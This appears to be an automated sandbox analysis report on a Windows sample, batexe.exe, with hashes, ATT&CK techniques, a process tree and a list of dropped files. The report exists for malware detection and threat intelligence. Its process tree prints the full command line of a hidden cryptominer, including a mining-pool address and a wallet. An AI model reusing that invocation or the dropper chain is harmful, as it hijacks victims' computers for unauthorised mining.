73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 06:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4528	b2e.exe
2776	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2776	cpuminer-sse2.exe
2776	cpuminer-sse2.exe
2776	cpuminer-sse2.exe
2776	cpuminer-sse2.exe
2776	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2136-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 4528	2136	batexe.exe	85
PID 2136 wrote to memory of 4528	2136	batexe.exe	85
PID 2136 wrote to memory of 4528	2136	batexe.exe	85
PID 4528 wrote to memory of 3464	4528	b2e.exe	86
PID 4528 wrote to memory of 3464	4528	b2e.exe	86
PID 4528 wrote to memory of 3464	4528	b2e.exe	86
PID 3464 wrote to memory of 2776	3464	cmd.exe	89
PID 3464 wrote to memory of 2776	3464	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Users\Admin\AppData\Local\Temp\5F37.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5F37.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5F37.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6225.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3464
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5F37.tmp\b2e.exe

Filesize
12.3MB

MD5
4135e0f2d3b18d46d54e87395f6ad607

SHA1
1cd2e97c50e30d92ae827258e579ba02cd799b78

SHA256
c2a73f2822f0f11a54d515855dee640bcfc4af2d4f27177c88ac39e91bd610b5

SHA512
2fd2e99241673ef6e25b89dca3b76a22511f1a8e109fa7f8a741f0a85469d21d8fe901211bc32dbaae3027af8e64d31304cfcc315c558921c321ca49be6ae70a

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F37.tmp\b2e.exe

Filesize
4.2MB

MD5
b64bb7ca89ef74d5b0f8bc4847bb409d

SHA1
a2ecb24d8e71633c0d70183aafffcf3b4256ef0b

SHA256
54f17ff4eaf8b5e65b9ee849ac11d21bb17f113d50dc2be179898a7aaf985b41

SHA512
879109d29560cf0b6536d41240c35186f60e82edc65dbc51fddd14a8581eff600663f2b2ffdb0da581fa55da8aa46dc3e6f0746b5ea041a0899e6ce2d6a501ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F37.tmp\b2e.exe

Filesize
4.2MB

MD5
ad87aae0f3da8de0a01ab76cff700aed

SHA1
8d3e87c8dfe94041cbd66914adefbc61a4b77cfa

SHA256
8dba49c8f318247709abf06408300739384cc9c0eed148d813c6f1ef0ac8ccae

SHA512
22aa3aeaf29d8287233b2f0f48d5908569dce847b6c4dd9868fc091d4b5f7aee34bc141e9201db1cdd642cc49a129c557c34b0c4baa95cfb2efcf7cbac1a2aac

Download Submit
C:\Users\Admin\AppData\Local\Temp\6225.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.0MB

MD5
631a1112d57f489bffded973e6e54aa4

SHA1
caa1ae7a244fdac3af48c91f64b737d205b153a7

SHA256
248acd9ca92a33a989dd10007f9d1f9f2ba4463ffdc3ad55cebfb9c429b847ae

SHA512
ffcc68e3e459ea289049441b0aca448735b321d6aaf6baf657d5be5d7de25fb43841ff57d22907afcd804f2f10154e986029c5465f96d8511f9d75ff723d996e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
1ca6a1c8370b95e17e4d4ee3289c1e66

SHA1
999e1b8a02e232264b45b8edaa651d7257b9fa10

SHA256
4687fcc439c3b617287feec8bcd843e0e5319906c2875bbaa7ef41ac37aaed0a

SHA512
af491cf02703958cd6d6ad4152cc06fa906ebbe9f5a9df4a56855e8744d73878f3a7640e5d89e4e06e2529bc3daf19facf2dfee11c654dd05b82b75afcdd6d78

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.5MB

MD5
0b7e11e7a19b3ccf2cdd494a6c061740

SHA1
52c8686cda7ad136b2de0a8544df76f84e5e4b65

SHA256
c211f1b1a7f18fcb77424c19457acfebe91dbc70f8f1f758d3342ad88517edba

SHA512
b63062d37b3c5809bbe52f5553f7d5b23363429a6701f2565d7d9eba44759d360c8731dd34c7dde8106646cc15ef7ba24e508afd0719f2f88104f84046ae4ea1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2136-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2776-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2776-46-0x0000000062FE0000-0x0000000063078000-memory.dmp

Filesize
608KB

Download
memory/2776-47-0x0000000000F20000-0x00000000027D5000-memory.dmp

Filesize
24.7MB

Download
memory/2776-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2776-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2776-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4528-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4528-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download